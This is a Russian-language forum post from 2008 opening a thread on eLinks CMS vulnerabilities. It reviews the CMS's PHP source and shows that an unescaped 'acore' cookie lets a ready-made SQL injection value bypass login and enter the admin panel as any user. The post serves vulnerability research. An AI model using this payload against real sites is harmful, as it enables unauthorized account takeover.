Показать сообщение отдельно

[eLinks] Vulnerabilities
  #1  
Старый 12.12.2008, 18:28
[x26]VOLAND
Постоянный
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Arrow [eLinks] Vulnerabilities

[eLinks] Vulnerabilities

Собственно, задание ROA#004 подтолкнуло к поиску багов в этой CMS.
В этой теме предлагаю выкладывать баги найденные в ходе исследования исходников.


------------------------------------------------------------------------------
#1 [ Обход авторизации ]
Необходимое условие: magic_quotes_gpc = Off

Первым делом я решил проверить панель логина админки (http://[elinks]/asm_admin.php) на предмет фильтрации полей. Но, к сожалению, все POST-данные фильтровались встроенной функцией setGPC.
[core/asm_config.php]
PHP код:
function setGPC (&$array)
// begin function: setGPC
    
foreach ($array as $key => $value) {
        if (
true == is_array($value)) {
            
setGPC($array[$key]);
        } else {
            
$array[$key] = addslashes($value);
        }
    }
    
reset($array);
// end function: setGPC
---------------------------
if (!
get_magic_quotes_gpc()) {
    
setGPC($_POST);
    
reset($_POST);

Как мы видим, фильтруются только POST-данные, что не может не радовать. Тогда я принялся исследовать алгоритм аутентификации (опознавания пользователя).
[core/asm_function.php]
PHP код:
function auth ()
{
    global 
$api
    
$session = @$_COOKIE['acore'];
    if (
$session != '' && $session != '-1')
    {
        if (
true == isset($_SESSION['user']['groups'])) { return true; }

        
$rs $api->DB->query("SELECT * FROM asm_s_members WHERE session = '".$session."' LIMIT 1");
        
        if (
$rs->count() == 1)
        {
            
$_SESSION['user'] = $rs->row();
            
$api->DB->query("UPDATE asm_s_members SET atime = '".time()."' WHERE session = '".$session."' LIMIT 1");
            return 
true;
        }
    }
    
setAuth(0);
    

Аутентификация осуществляется по COOKIE-переменной acore.
Задав этой переменной значение
word' OR member_id = '1
Получаем запрос
SELECT * FROM asm_s_members WHERE session = 'word' OR member_id = '1' LIMIT 1
Так как сессии с именем 'word' существовать не может, происходит выборка данных администратора (member_id=1).
Обновляем страницу и оказываемся в админке.
В итоге, не зная даже логина, мы можем зайти под любым пользователем.
 
Ответить с цитированием